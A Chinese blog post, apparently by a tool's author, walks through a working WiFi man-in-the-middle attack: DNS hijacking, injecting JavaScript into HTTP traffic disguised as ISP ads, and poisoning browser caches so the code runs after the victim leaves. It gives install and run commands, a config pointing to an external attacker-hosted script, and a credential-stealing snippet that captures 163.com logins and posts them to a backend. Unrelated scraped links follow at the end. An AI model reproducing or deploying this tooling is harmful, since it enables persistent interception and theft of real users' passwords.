在上一篇《WiFi流量劫持—— 浏览任意页面即可中毒》构思了一个时光机原型,让我们的脚本通过HTTP缓存机制,在未来的某个时刻被执行,因此我们可以实现超大范围的入侵了。

  基于此原理,我们用NodeJS来实现一个简单的样例。得益于node强大的IO管理,以及各种封装好的网络模块,我们可以很容易实现这个想法:

  

  • 开启一个特殊的DNS服务:所有域名都解析到我们的电脑上。并把Wifi的DHCP-DNS设置为我们的电脑IP。
  • 之后连上Wifi的用户打开任何网站,请求都将被我们的node服务收到。我们根据http头中的host字段来转发到真正服务器上。
  • 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户了!
  • 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。我们将其感染,并设置超长的缓存时间。

  于是大功告成!

  

 

  为了方便测试和控制,已把整个流程:DNS、HTTP代理、代码分析和注入都使用NodeJS编写,并整合在一起。下面就来测试一下!

  获取Demo: (https://github.com/EtherDream/closurether

# npm install -g closurether

  运行:

# closurether

  启动成功的话,会输出:

[SYS] local ip: 192.168.1.250
[DNS] running 0.0.0.0:
[WEB] listening 0.0.0.0:80
[WEB] listening 0.0.0.0:443

  当然,192.168.1.250这是我本地的IP,推荐使用固定的IP地址。

  打开无线路由器-DHCP配置,将主DNS设置为自己的IP,重启路由。到此,你已经控制了整个无线网络的流量了!

  用另一台电脑连上你的wifi:

  

  

  这时会发现,ping任何域名,不出意外的话都会返回你的IP,DNS劫持已发挥作用了!

$ ping www.baidu.com
PING www.baidu.com (192.168.1.250): data bytes
Request timeout for icmp_seq $ ping www.google.com
PING www.google.com (192.168.1.250): data bytes
Request timeout for icmp_seq

  

  打开任意网页,一切正常。我们可以在node控制台看到用户访问的每一个请求。

  

  

  当然这时网页上什么效果也没出现。这个Demo毕竟是个间谍程序,怎么可能会有界面呢?

  想看效果的话修改项目里的asset/inject/extern.js,往里面加一条:

alert('Hello World');

  这时再刷新页面,效果出现了!

  

  打开任意网页的源文件,发现其中都注入了我们的脚本内容。为了隐蔽性,这里将注入的脚本伪装成运营商的url,别人还以为是联通宽带插的广告 ^_^

  具体想伪装成什么地址,可以在config.json里配置。

  

  脚本内容正是asset/inject/extern.js文件:

  

  到此,我们已实现把javascript代码注入到WiFi网络的HTTP流量里了!

  下面测试我们的终极目标:能穿越到未来执行的脚本时光机。

  

  前面仔细观察的话,不难发现注入的脚本内容里多出一大堆url,这些正是我们需要让用户预加载并缓存的各大网站脚本。具体原理在上一篇里已经详细讲解了。

  如果想入侵更多的网站,往tool/cache-sniffer/url.txt里添加。运行:

$ phantomjs sniffer.js

  程序将自动更新注入脚本的内容。

  要想预加载并缓存一个脚本很容易,只需new Image().src='...'。当然有少数浏览器不支持,不过ie和chrome都是支持的。尽管js文件并不是一个图片,但仍然会缓存。

  上一篇文章已说明,为了减少一次请求大量脚本文件消耗的带宽,我们并不返回真正的原始脚本文件,而是一个很小的“桩文件”,用来启动我们的入侵代码,以及恢复原始脚本文件。

  因此这个“桩文件”代码量非常少,区区百来字节而已。例如hao123网站下的某个已被感染了的脚本:

  

  我们创建两个script元素,来加载外网的入侵代码,以及恢复原始脚本代码,使网页能正常运行。注意:原始脚本url后面的?1必不可少,否则又会从缓存里加载被感染的当前脚本,进入死循环。

  使用document.write的好处在于,它创建的脚本是异步加载顺序执行的。所以在原始脚本未加载完之前,后面的脚本不会执行,避免了未定义错误的发生。

  入侵代码的url可以在config.json里hacker_url字段配置。为了保证未来被感染的脚本被唤醒时,能正常调出你的入侵代码,所以选择一个可靠的外网来存放。

  本Demo演示如何入侵并截获网易首页的账号,可以参考代码:http://jslog.sinaapp.com/ad.js

  演示中的代码很简单,仅仅捕捉用户在网易首页上输入的账号和密码而已,然后传给后台保存到数据库里。

    var url = location.href;
if (/\.163\.com/i.test(url)) {
function onSubmit() {
post(
NTES.one('#js_loginframe_username').value,
NTES.one('input[type=password]').value
);
} NTES.one('.ntes-loginframe-btn').addEventListener('click', onSubmit); NTES.one('input[type=password]').addEventListener('keydown', function(e) {
if (e.keyCode == 13) {
onSubmit();
}
});
}

  下面重启电脑,并连上家里的WiFi。(连过KFC的用户回家之后的情况)

      

  这时用户的流量已完全不在我们的可控之中,看我们的脚本是否仍能从沉睡之中唤醒呢?

    

  打开www.163.com,一切正常~

  

  输入用户名密码,一切正常~

  

  似乎并没有感觉到任何的异常。回到我们自己的电脑上来看看,后台的笼子里是否有猎物捕捉到。。。

      

  很好,我们的入侵代码已成功执行,在用户离开了我们的网络之后依旧能够运行!只要登录了我们事先感染过的那些网站,入侵代码都将会被唤醒。

  事实上,只要用户不清空缓存,这段代码终将附着在硬盘缓存里,直到过期。有可能是1个星期,甚至数月的时间。

  所谓一时失足成千古恨莫过于此。一时大意连接了一个wifi热点,不经意间间谍已潜入你的浏览器缓存里。。。

  

  ==============================

  使用NodeJS,我们只需数百行代码就实现了这个想法。当然,简单的同时缺点也是不言而喻的。node只提供了传输层的网络接口,我们无法操作底层网络数据。所以只能使用DNS劫持的方法来获得用户的流量。因此也就产生了一个非常纠结的问题:

  怎样才能确定用户查询的域名是HTTP主机呢?

  由于我们把所有的域名都解析到了自己的电脑上,因此包括其他的网络程序数据也转发到了我们这里。然而我们的node只监听了tcp:80端口,对于其他的端口则是完全忽略的。

  即使我们监听了其他端口,我们也无法把收到的数据转发到真实的服务器 —— 我们根本不知道发到哪个地址上!

  HTTP之所以能实现转发,得益于头部有个host字段;而非HTTP协议,甚至包括HTTPS,我们只能收到一堆二进制数据,然后就不知道的该交给谁了。

  

  此问题虽然无法避免,但也有一定程度的解决方案:

  1.) 事先收集各大网站的域名。之后用户查询的域名在列表里的话,直接返回自己的电脑IP;否则转发给外网DNS。

    当记录足够多的话,我们可以拦截住用户大多数的网站流量。

  但要收集大量的网站域名并不容易,而且仍会有不少的遗漏。因此我们使用更简单的方法:

  

  2.) 仍然将所有的域名解析到自己电脑上,但域名TTL时间很短,几秒后就过期。

    如果在之后的几秒时间里,收到访问这个域名的http请求(host字段是这个域名),那么就认为这个域名是http服务的;

    如果规定时间里没有收到,那么就当做非http服务的域名。当域名ttl过期后,下次再查询这个域名时,就解析到外网真实的服务器IP了。反正不是http协议,收到了也没用。

  3.) 尝试访问前来请求域名的80端口。如果能连接上,就当做是一个Web域名。就返回自己的IP。

  目前使用方法3来识别域名。事实上基于DNS的流量劫持还有更大缺陷:

  • 如果用户手工设置的DNS怎么办?比如8.8.8.8的用户就非常多。
  • 不是80端口的网站又如何是好?难道我们要把1~65535的端口都监听吗?
  • 一个网站域名下同时有http和其他服务了,拦截就导致那个服务不可用了。
  • 最麻烦的当属纯IP的网站,那么就完全无法拦截了~

  纠结之处就不再吐槽,不然就永远实现不了我们的想法了,以后再使用node扩展慢慢完善。

  即便面临着不少问题,我们的Demo仍能顺利跑起来 —— 完全按照我们的预想运行!

  

  

  ==============================

后记

补充一个更简明的演示:https://github.com/EtherDream/mitm-http-cache-poisoning

之前的 Demo 临时写的,比较混乱,一直没有更新。而且局域网里也用不着 DNS 的方式,用 DHCP 劫持的方式效果更好。

WiFi流量劫持—— JS脚本缓存投毒的更多相关文章

  1. 常见的DNS攻击——偷(劫持)、骗(缓存投毒)、打(DDos)

    常见的DNS攻击包括: 1) 域名劫持 通过采用黑客手段控制了域名管理密码和域名管理邮箱,然后将该域名的NS纪录指向到黑客可以控制的DNS服务器,然后通过在该DNS服务器上添加相应域名纪录,从而使网民 ...

  2. HTTPS-能否避免流量劫持

    流量劫持是什么? EtherDream在一篇科普文章<>中详细介绍了流量劫持途径和方式. 流量劫持是一种古老的攻击方式,比如早已见惯的广告弹窗等,很多人已经对此麻木,并认为流量劫持不会造成 ...

  3. Linux-某电商网站流量劫持案例分析与思考

    [前言] 自腾讯与京东建立了战略合作关系之后,笔者网上购物就首选京东了.某天在家里访问京东首页的时候突然吃惊地发现浏览器突然跳到了第三方网站再回到京东,心里第一个反应就是中木马了. 竟然有这样的事,一 ...

  4. 【流量劫持】躲避 HSTS 的 HTTPS 劫持

    前言 HSTS 的出现,对 HTTPS 劫持带来莫大的挑战. 不过,HSTS 也不是万能的,它只能解决 SSLStrip 这类劫持方式.但仔细想想,SSLStrip 这种算劫持吗? 劫持 vs 钓鱼 ...

  5. 【流量劫持】SSLStrip 的未来 —— HTTPS 前端劫持

    前言 在之前介绍的流量劫持文章里,曾提到一种『HTTPS 向下降级』的方案 -- 将页面中的 HTTPS 超链接全都替换成 HTTP 版本,让用户始终以明文的形式进行通信. 看到这,也许大家都会想到一 ...

  6. htaccess文件还可以被用来把访问网站的流量劫持到黑客的网站

    看是否有文件上传操作(POST方法), IPREMOVED--[01/Mar/2013:06:16:48-0600]"POST/uploads/monthly_10_2012/view.ph ...

  7. 高端黑链SEO—恶意JS脚本注入访问伪随机域名

    摘要:我们的服务器又出入侵事故了.有客户的 html 网页底部被插入了一段 js 脚本,导致访客打开网页时被杀毒软件警告网站上有恶意代码.在黑链 SEO 中这是常见的手法,但奇特的地方就在于我们这次捕 ...

  8. 关于全站https必要性http流量劫持、dns劫持等相关技术

    关于全站https必要性http流量劫持.dns劫持等相关技术 微信已经要求微信支付,申请退款功能必须12月7号之前必须使用https证书了(其他目前为建议使用https),IOS也是2017年1月1 ...

  9. (转)优化js脚本设计,防止浏览器假死

    在Web开发的时候经常会遇到浏览器不响应事件进入假死状态,甚至弹出“脚本运行时间过长“的提示框,如果出现这种情况说明你的脚本已经失控了,必须进行优化. 为什么会出现这种情况呢,我们先来看一下浏览器的内 ...

随机推荐

  1. Struts中文件上传的一些规则...

    1.action中定义规范 如果jsp中file的name="xxx",那么后台action中的属性要做相应更改为 private File xxx; private String ...

  2. Datazen配置

    Datazen是被微软收购的移动端全平台的数据展现解决方案.此篇主要介绍其服务器端的配置过程. 在上一篇的基础安装完成之后,在浏览器敲入如下地址进入系统的控制面板(留意安装的时候配置的是80 web端 ...

  3. UWP学习记录12-应用到应用的通信

    UWP学习记录12-应用到应用的通信 1.应用间通信 “共享”合约是用户可以在应用之间快速交换数据的一种方式. 例如,用户可能希望使用社交网络应用与其好友共享网页,或者将链接保存在笔记应用中以供日后参 ...

  4. Python-函数的返回值

    特点: - 函数被调用后会返回一个指定的值 - 函数调用后默认返回none - return用于函数内部返回值 - 返回值可以是任意类型 - return执行后,函数终止   注意: 所有函数默认都有 ...

  5. Swift 获取屏幕宽高

    let screenh = UIScreen.mainScreen().applicationFrame.size.heightlet screenw = UIScreen.mainScreen(). ...

  6. git rebase 和 merge的区别

  7. 什么是Angularjs

    AngularJs(后面就简称ng了)是一个用于设计动态web应用的结构框架.首先,它是一个框架,不是类库,是像EXT一样提供一整套方案用于设计web应用.它不仅仅是一个javascript框架,因为 ...

  8. python 处理视频输入输出

    视频的处理和图片的处理类似,只不过视频处理需要连续处理一系列图片. 一般有两种视频源,一种是直接从硬盘加载视频,另一种是获取摄像头视频. 0x00. 本地读取视频 核心函数: cv.CaptureFr ...

  9. 多线程之互斥锁(By C++)

    首先贴一段win32API实现的多线程的代码,使用CreateThread实现,如果不要传参数,就把第四个参数设为NULL #include<Windows.h> #include< ...

  10. asp.net实现数据库版动态网页滑动门

    前端: <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="滑动门.aspx.c ...